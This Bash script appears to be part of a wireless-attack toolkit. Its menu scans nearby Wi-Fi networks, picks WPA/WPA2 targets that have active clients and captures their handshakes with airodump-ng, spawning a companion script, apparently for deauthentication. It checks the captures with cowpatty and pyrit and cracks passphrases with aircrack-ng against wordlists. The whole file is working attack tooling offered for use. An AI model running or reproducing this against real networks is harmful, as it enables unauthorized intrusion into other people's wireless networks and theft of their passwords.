lh1

#! /bin/bash
WLANNM=$(cat /root/lscript/wlanmon.txt)
export WLANNM
#############DEFAULTS###############

#setting blue-start 
	BS="\e[0;34m"
#setting yellow-start 
YS="\e[1;33m"
#setting color-end
CE="\e[0m"
#setting red-start
RS="\e[1;31m"
#setting frequent stings
YNYES="("$YS"y"$CE"/"$YS"n"$CE")("$YS"Enter"$CE"=yes)"
YNNO="("$YS"y"$CE"/"$YS"n"$CE")("$YS"Enter"$CE"=no)"
YNONLY="("$YS"y"$CE"/"$YS"n"$CE")"
PAKT="Press "$YS"any key"$CE" to"
PAKTC="Press "$YS"any key"$CE" to continue..."
PAKTGB="Press "$YS"any key"$CE" to go back..."
READAK="read -n 1"
####################################
#-----------------FUNCTIONS-----------------
function start_capture
{
export HANDF
if [ "$HANDF" != "0" ]
then
	if [ -f "$HANDCAP" ]
	then
		rm $HANDCAP
	fi
	gnome-terminal --geometry 70x10+0+0 -e lh2
	HANDFORDEAUTH="/root/handshakes/$HANDF-01.csv"
	export HANDFORDEAUTH
	airodump-ng --bssid $TARGB -c $TARGC -w /root/handshakes/$HANDF $WLANNM # | tee /root/lscript/temphandshake
	validhandshake
	exec bash "$0"
else
	HANDFORDEAUTH=""
	gnome-terminal --geometry 70x10+0+0 -e lh2
	airodump-ng --bssid $TARGB -c $TARGC $WLANNM
	echo -e "Start capturing on a file?"$YNYES""
	read SCF
	if [ "$SCF" = "n" ]
	then	
		clear
		exec bash "$0"
	else 
		echo -e "Enter the name of the handshake file(no extension): "
		read -e HANDF
		HANDFFP="/root/handshakes/$HANDF-01.cap"
		export HANDFFP
		if [ -f "$HANDFFP" ]
		then
			rm $HANDFFP
		fi
		gnome-terminal -e lh2
		airodump-ng --bssid $TARGB -c $TARGC -w /root/handshakes/$HANDF $WLANNM
		validhandshake
		exec bash "$0"
	fi
fi
}
function remove_temps
{
	if [ -f /root/lscript/tempairodump-01.cap ]
	then
		rm /root/lscript/tempairodump-01.cap
	fi
	if [ -f /root/lscript/tempairodump-01.csv ]
	then
		rm /root/lscript/tempairodump-01.csv
	fi
	if [ -f /root/lscript/tempairodump-01.kismet.netxml ]
	then
		rm /root/lscript/tempairodump-01.kismet.netxml
	fi
	if [ -f /root/lscript/tempairodump-01.kismet.csv ]
	then
		rm /root/lscript/tempairodump-01.kismet.csv
	fi
}
function autoapselect
{
file="/root/lscript/tempairodump-01.csv"
lines=$(cat $file | awk '/WPA|WPA2|OPN/ {print}' | awk 'END{print NR}')
n2=1
power=100
while [ $n2 -le "$lines" ]
do
	n3=$((n2+2))
	apower[$n2]=$(cat $file | awk -v nn="$n3" '{FS=", "}{if(NR==nn && /WPA|WPA2/)print $8}')
	aopen[$n2]=0
	if [[ ${apower[$n2]} = "" ]]
	then
		aopen[$n2]=1
		apower[$n2]=$(cat $file | awk -v nn="$n3" '{FS=", "}{if(NR==nn && /OPN/)print $9}')
	fi
	adata[$n2]=$(cat $file | awk -v nn="$n3" '{FS=", "} {if(NR==nn && /WPA|WPA2/)print $10}')
	if [[ ${adata[$n2]} = "" ]]
	then
		adata[$n2]=$(cat $file | awk -v nn="$n3" '{FS=", "}{if(NR==nn && /OPN/)print $11}')
	fi
	aessid[$n2]=$(cat $file | awk -v nn="$n3" '{FS=", "} {if(NR==nn && /WPA|WPA2/)print $13}')
	if [[ ${aessid[$n2]} = "" ]]
	then
		aessid[$n2]=$(cat $file | awk -v nn="$n3" '{FS=", "}{if(NR==nn && /OPN/)print $14}')
	fi
	achannel[$n2]=$(cat $file | awk -v nn="$n3" '{FS=", "} {if(NR==nn && /WPA|WPA2/)print $4}')
	if [[ ${achannel[$n2]} = "" ]]
	then
		achannel[$n2]=$(cat $file | awk -v nn="$n3" '{FS=", "}{if(NR==nn && /OPN/)print $14}')
	fi
	amac[$n2]=$(cat $file | awk -v nn="$n3" '{FS=", "} {if(NR==nn && /WPA|WPA2/)print $1}')
	if [[ ${amac[$n2]} = "" ]]
	then
		amac[$n2]=$(cat $file | awk -v nn="$n3" '{FS=", "}{if(NR==nn && /OPN/)print $1}')
	fi
	powerunfixed="${apower[$n2]}"
	apowerfixed[$n2]=$powerunfixed
	apowerfixed[$n2]=$((power+apowerfixed[$n2]))
	#echo ""$n2") "${apowerfixed[$n2]}"% "${amac[$n2]}" "${achannel[$n2]}" "${adata[$n2]}" "${aessid[$n2]}""
	n2=$(( n2+1 ))
done
n3=1
while [ $n3 -le "$lines" ]
do
	n=1
	topsignal=100
	while [ $n -le "$lines" ]
	do
		if [ ${apowerfixed[$n]} -le $topsignal ]
		then
			lowestn=$n
			topsignal=${apowerfixed[$n]}				
		fi
		n=$((n+1))
	done 
	zn[$n3]=$lowestn
	zopen[$n3]=${aopen[$lowestn]}
	zdata[$n3]=${adata[$lowestn]}
	zessid[$n3]=${aessid[$lowestn]}
	zpowerfixed[$n3]=${apowerfixed[$lowestn]}
	zmac[$n3]=${amac[$lowestn]}
	zchannel[$n3]=${achannel[$lowestn]}
	apowerfixed[$lowestn]=101
	n3=$((n3+1))
done
n3=1
echo -e ""$BS"  BLUE"$CE"=OPEN NETWORK"
echo -e ""$YS"YELLOW"$CE"=WPA/WPA2 NETWORK WITH ACTIVE CLIENTS"
echo -e ""$RS"   RED"$CE"=WPA/WPA2 NETWORK WITHOUT ACTIVE CLIENTS"
echo -e "_________________________________________________________________________________________"
echo -e "     POWER ESSID                                  MAC               CLIENTS  DATA"
while [ $n3 -le "$lines" ]
do
	size=${#zessid[$n3]}
	calc=$(( 40-size ))
	numcalc=1
	SPACES=""
	while [ $numcalc != $calc ]
	do
		SPACES=""$SPACES"_"
		numcalc=$(( numcalc+1 ))
	done
	if [ $n3 -le 9 ]
	then
		num=" "$n3""
	else
		num=$n3
	fi
	size=${#zpowerfixed[$n3]}
	if [ $size == 3 ]
	then
		space=""
	elif [ $size == 2 ]
	then
		space=" "
	elif [ $size == 1 ]
	then
		space="  "
	fi
	DATAA=" "$RS"0"$CE""
	##put less than
	#~ if [[ ! ${zpowerfixed[$n3]} = 100 ]]
	if [[ ${zpowerfixed[$n3]} -lt 100 ]]
	then
		size2=${#zessid[$n3]}
		if [[ $size2 -eq 36 ]]
		then
			zessid[$n3]="____________________________________"
		fi
		START=""
		if [[ ${zopen[$n3]} = 1 ]]
		then
			START="$BS"
			if [[ ${zdata[$n3]} -gt 0 ]]
			then
				CLIENTS="YES"
				DATAA="${zdata[$n3]}"
			else
				CLIENTS="NO "
			fi
		else
			if [[ ${zdata[$n3]} -gt 0 ]]
			then
				CLIENTS="YES"
				START="$YS"
				DATAA="${zdata[$n3]}"
			else
				START="$RS"
				CLIENTS="NO "
			fi
		fi
		echo -e ""$YS""$num""$CE") "$START"${space}"${zpowerfixed[$n3]}"%   "${zessid[$n3]}""$SPACES""${zmac[$n3]}" "$CLIENTS"     "$DATAA""$CE""
	fi
	n3=$((n3+1))
done
echo -e ""$YS" r"$CE") rescan"
echo -e ""$YS"back"$CE") Go back"
echo -e "Choose: "
}
function capture_again
{
			echo -e "Capture handshake again on the same network? "$YNYES""
			read CAGAIN
			if [ ! "$CAGAIN" = "n" ]
			then
				gnome-terminal --geometry 70x10+0+0 -e lh2
				airodump-ng --bssid $TARGB -c $TARGC -w /root/handshakes/$HANDF $WLANNM
				validhandshake
				exec bash "$0"
			fi
}
function ap_sort_and_choose
{
while true
do
	clear
	autoapselect
	read APCHOOSE
	clear
	if [ $APCHOOSE = "back" ]
	then
		clear
		break
	elif [ $APCHOOSE = "r" ]
	then
		clear
		break
	else
		if [[ ${zopen[$APCHOOSE]} = 1 ]]
		then
			echo -e ""$RS"You selected an open network.Please select a password protected network."$CE""
			echo -e "Press "$YS"enter"$CE" to go back"
			read
			break
		fi
		TARGB="${zmac[$APCHOOSE]}"
		TARGC="${zchannel[$APCHOOSE]}"
		TARGE="${zessid[$APCHOOSE]}"
		echo -e "Enter the name of the handshake file(no extention)(e.g: "$YS"hand1"$CE")"
		echo -e "Type "$YS""0""$CE" for no file"
		read -e HANDF
		HANDFFP="/root/handshakes/"$HANDF"-01.cap"
		HANDCAP="/root/handshakes/"$HANDF"-01.cap"
		export HANDCAP
		export HANDFFP
		export TARGB
		export TARGC
		export TARGE
		#echo $TARGB $TARGC $TARGE
		clear
		start_capture
		break
	fi
done
}
function pre_scan
{
while true
	do
		remove_temps
		echo -e "Select what to scan: "
		echo -e ""$YS"ENTER"$CE") All channels"
		echo -e " "$YS"1"$CE"-"$YS"13"$CE") Specific channel"
		echo -e ""$YS" back"$CE") Go back"
		read CHANNELSL
		if [ "$CHANNELSL" = "" ]
		then
			FJC=0
			airodump-ng $WLANNM -w /root/lscript/tempairodump
		elif [ "$CHANNELSL" = "back" ]
		then
			clear
			CH="0"
			break
		else
			FJC=0
			airodump-ng -c $CHANNELSL $WLANNM -w /root/lscript/tempairodump
		fi
		ap_sort_and_choose
		if [ $APCHOOSE = "r" ]
		then
			continue
		elif [ $APCHOOSE = "back" ]
		then
			break
		fi	
	done
}
function scan_networks
{
if [[ $TARGB = "" ]]
then
	pre_scan
else
	ap_sort_and_choose
	if [ $APCHOOSE = "r" ]
	then
		TARGB=""
		pre_scan
	elif [ $APCHOOSE = "back" ]
	then
		break
	fi	
fi
}
function validate_with_pyrit
{
	clear
	echo -e "Checking handshake with pyrit..."
	TEMP=$(pyrit -r "$HANDCAP" analyze) 
	TEMPHAND=$(echo "$TEMP" | grep "No valid EAOPL-handshake + ESSID detected.")
	clear
	if [ "$TEMPHAND" = "" ]
	then
		VALIDH=1
		#TEMPHANDD=$(pyrit -r "$HANDCAP" analyze | grep "good")
		TEMPHANDD=$(echo "$TEMP" | grep "good")
		if [ "$TEMPHANDD" = "" ]
		then
			#TEMPHANDDD=$(pyrit -r "$HANDCAP" analyze | grep "bad")
			TEMPHANDDD=$(echo $TEMP | grep "bad")
			if [ "TEMPHANDDD" = "" ]
			then
				echo -e "Handshake found!(Status: unknown)"
			else
				echo -e "Handshake found!(Status: bad)"
			fi
			sleep 3
		else
			echo -e "Valid handshake found!(Status: good)"
			sleep 3
		fi
	else
		VALIDH=0
		echo -e "No handshake found."
		sleep 2
	fi
}
function validate_with_cowpatty
{
	clear
	echo -e "Checking handshake with cowpatty..."
	sleep 1
	TEMPHAND=$(cowpatty -c -r "$HANDCAP" | grep "Collected all necessary data to mount crack against WPA2/PSK passphrase.")
	clear
	if [ "$TEMPHAND" = "" ]
	then
		VALIDH=0
		echo -e "No handshake found."
		sleep 1
		echo -e ""
		echo -e "Press "$YS"enter"$CE" to check with pyrit..."
		read
		validate_with_pyrit
	else
		VALIDH=1
		echo -e "Valid handshake found!"
		sleep 2
	fi
}
function handshake_clean
{
	clear
	pyrit -r $HANDCAP -o /root/handshakes/"$HANDF"-cleaned.cap strip && echo -e "CLEANED"
	sleep 2
}
function validhandshake
{
echo -e "Did you capture the handshake?"$YNYES""
read HANDVALID
if [ "$HANDVALID" = "n" ]
then
	echo -e "Removing the file..."
	sleep 2
	rm $HANDFFP
	remove_temps
	FJC=0
else
	FJC=1
	HANDCAP=/root/handshakes/"$HANDF"-01.cap
	validate_with_cowpatty
	if [ "$VALIDH" = "0" ]
	then
		FJC=0
		echo -e "Couldn't validate your handshake. Delete it? "$YNYES""
		read NOVALDEL
		if [ ! "$NOVALDEL" = "n" ]
		then
			rm /root/handshakes/"$HANDF"-01.*
			clear
			capture_again
		fi
	else
		clear
		echo -e "Your handshake file is saved in: /root/handshakes/"$HANDF"-01.cap"
		echo -e "$PAKTC"
		$READAK
	fi
			
fi
clear
}
function capture_handshake
{
while true
do
	AA=-1
	clear
	echo -e ""$YS" 1"$CE") Use selected: $TARGE"
	echo -e ""$YS" 2"$CE") Set another BSSID and CHANNEL"
	echo -e ""$YS" r"$CE") Scan again"
	echo -e ""$YS"back"$CE") Go back"
	echo -e "Choose: "
	read CAPTH
	if [ $CAPTH = "back" ]
	then
		break
	elif [ $CAPTH = "2" ]
	then
		echo -e "Enter your target's bssid: "
		read -e TARGB
		echo -e "Enter your target's channel: "
		read -e TARGC
		echo -e "Enter the name of the handshake file(no extension): "
		echo -e "(don't use the same name twice)"
		echo -e "Type "$YS""0""$CE" for no file"
		read -e HANDF
		TARGE=""
		HANDFFP="/root/handshakes/"$HANDF"-01.cap"
		HANDCAP="/root/handshakes/"$HANDF"-01.cap"
		export HANDCAP
		export HANDFFP
		export TARGB
		export TARGC
		export TARGE
		clear
		start_capture
		break
	elif [ $CAPTH = "r" ]
	then	
		scan_networks
		break
	elif [ $CAPTH = "1" ]
	then
		if [[ $TARGE = "" ]]
		then
			echo -e "No network selected.Start scanning and select your target."
			sleep 4
			break
		else
			echo -e "Enter the name of the handshake file(no extension): "
			echo -e "(don't use the same name twice)"
			echo -e "Type "$YS""0""$CE" for no file"
			read -e HANDF
			TARGE=""
			HANDFFP="/root/handshakes/"$HANDF"-01.cap"
			HANDCAP="/root/handshakes/"$HANDF"-01.cap"
			export HANDCAP
			export HANDFFP
			clear
			start_capture
			break
		fi
	fi
done
}
function aircrack_handshakejust
{
	clear
	echo -e "Do you want to use the file you just captured?"$YNYES": "
	read -e YORN
	clear
	if [ "$YORN" = "n" ] 
	then
		cd /root/handshakes
		ls | sort
		cd
		echo -e "Enter handshake name(no extension)(on folder /root/handshakes/): "
		read -e HANDFK
		HANDFFK="/root/handshakes/$HANDFK-01.cap"
		if [ -f "$HANDFFK" ];
		then
			echo -e "OK."
			HANDFFP="$HANDFFK"
			sleep 1
			clear
		else
			echo -e "File $HANDFK does not exist"
			sleep 2
			clear
			exec bash "$0"
		fi
		cd /root/wordlists
		ls | sort
		cd
		echo -e "Enter wordlist name(include extension)(on folder /root/wordlists/): "
		read -e WORDF
		WORDFF="/root/wordlists/$WORDF"
		if [ -f "$WORDFF" ];
		then
			echo -e "OK."
			sleep 1
			clear
		else
			echo -e "File $WORDF does not exist"
			sleep 2
			clear
			exec bash "$0"
		fi
	else
		cd /root/wordlists
		ls | sort
		cd
		echo -e "Enter wordlist name(include extension)(on folder /root/wordlists/): "
		read -e WORDF
		WORDFF="/root/wordlists/$WORDF"
		if [ -f "$WORDFF" ];
		then
			echo -e "OK."
			sleep 1
		else
			echo -e "File $WORDF does not exist"
			sleep 2
			clear
			exec bash "$0"
		fi
	fi
	clear
	aircrack-ng -w $WORDFF $HANDFFP
}
function aircrack_handshake
{
	clear
	cd /root/handshakes
	ls | sort
	cd
	echo -e ""$YS"back"$CE") Go back"
	echo -e "Enter handshake name(include extension)(on folder /root/handshakes/): "
	read -e HANDFT
	if [ $HANDFT = "back" ]
	then
		clear
		exec bash $0
	fi
	HANDFFT="/root/handshakes/$HANDFT"
	if [ -f "$HANDFFT" ];
	then
		echo -e "OK."
		sleep 1
		clear
	else
		echo -e ""$RS"File $HANDFT does not exist"$CE""
		sleep 2
		clear
		exec bash $0
	fi
	cd /root/wordlists
	ls | sort
	cd
	echo -e "Enter wordlist name(include extension)(on folder /root/wordlists/): "
	read -e WORDF
	WORDFF="/root/wordlists/$WORDF"
	if [ -f "$WORDFF" ];
	then
		echo -e "OK."
		sleep 1
		clear
	else
		echo -e "File $WORDF does not exist"
		sleep 2
		clear
		continue
	fi

	clear
	aircrack-ng -w $WORDFF $HANDFFT
}
function main_handshake_options
{
while true
do
clear
printf '\033]2;HANDSHAKE\a'
if [ -f "/root/handshakes/*.csv" ]
then
	rm /root/handshakes/*.csv
	rm /root/handshakes/*.netxml
fi
echo -e "----------------------------"$RS"HANDSHAKE"$CE"----------------------------"
if [[ $TARGE = "" ]]
then
	echo -e ""$YS" 1"$CE") Scan networks nearby     Selected:"$RS"None"$CE""
else
	echo -e ""$YS" 1"$CE") Scan networks nearby     Selected:"$YS""$TARGE""$CE""
fi
echo -e ""$YS" 2"$CE") Capture handshake"
echo -e ""$YS" 3"$CE") Aircrack the handshake"
echo -e ""$YS" 4"$CE") Verify a handshake"
echo -e ""$YS" 5"$CE") Clean a handshake"
echo -e ""$YS" 6"$CE") Remove .csv and .netxml files"
echo -e ""$YS" 0"$CE") EXIT"
echo -e " Choose: "
sleep 1
CH=0
read -e AA
clear
if [ "$AA" = "1" ]
then
	CH=1
	scan_networks
elif [ "$AA" = "2" ]
then
	capture_handshake
elif [ "$AA" = "3" ]
then
	if [ "$FJC" = "1" ]
	then
		AAGAIN=1
		aircrack_handshakejust
	else
		AAGAIN=2
		aircrack_handshake
	fi
elif [ "$AA" = "4" ]
then
	echo -e "------------------You are in /root/handshakes folder--------------------"
	ls /root/handshakes
	echo -e "Type the name of the handshake you want to check:(e.g: "$YS"hand1-01"$CE")"
	echo -e ""$RS"No extention"$CE""
	read HANDF
	if [ ! -f /root/handshakes/"$HANDF" ]
	then
		if [ -f /root/handshakes/"$HANDF".cap ]
		then
			HANDCAP=/root/handshakes/"$HANDF".cap
		else
			if [ -f /root/handshakes/"$HANDF"-01.cap ]
			then
				HANDCAP=/root/handshakes/"$HANDF"-01.cap
			else
				echo -e "Handshake file not found!"
				sleep 3
				continue
			fi
		fi
	else
		HANDCAP=/root/handshakes/"$HANDF"
	fi
	validate_with_cowpatty
elif [ "$AA" = "5" ]
then
	echo -e "------------------You are in /root/handshakes folder--------------------"
	ls /root/handshakes
	echo -e "Type the name of the handshake you want to clean:(e.g: "$YS"hand1-01"$CE")"
	echo -e ""$RS"No extention"$CE""
	read HANDF
	if [ ! -f /root/handshakes/"$HANDF" ]
	then
		if [ -f /root/handshakes/"$HANDF".cap ]
		then
			HANDCAP=/root/handshakes/"$HANDF".cap
		else
			if [ -f /root/handshakes/"$HANDF"-01.cap ]
			then
				HANDCAP=/root/handshakes/"$HANDF"-01.cap
			else
				echo -e "Handshake file not found!"
				sleep 3
				continue
			fi
		fi
	else
		HANDCAP=/root/handshakes/"$HANDF"
	fi
	handshake_clean
elif [ "$AA" = "6" ]
then
	rm -f /root/handshakes/*.csv
	rm -f /root/handshakes/*.netxml
	sleep 0.2
	clear
	exec bash "$0"
elif [ "$AA" = "0" ]
then
	exit
else
	clear
	continue
fi
done	
}
#-------------------------------------------
main_handshake_options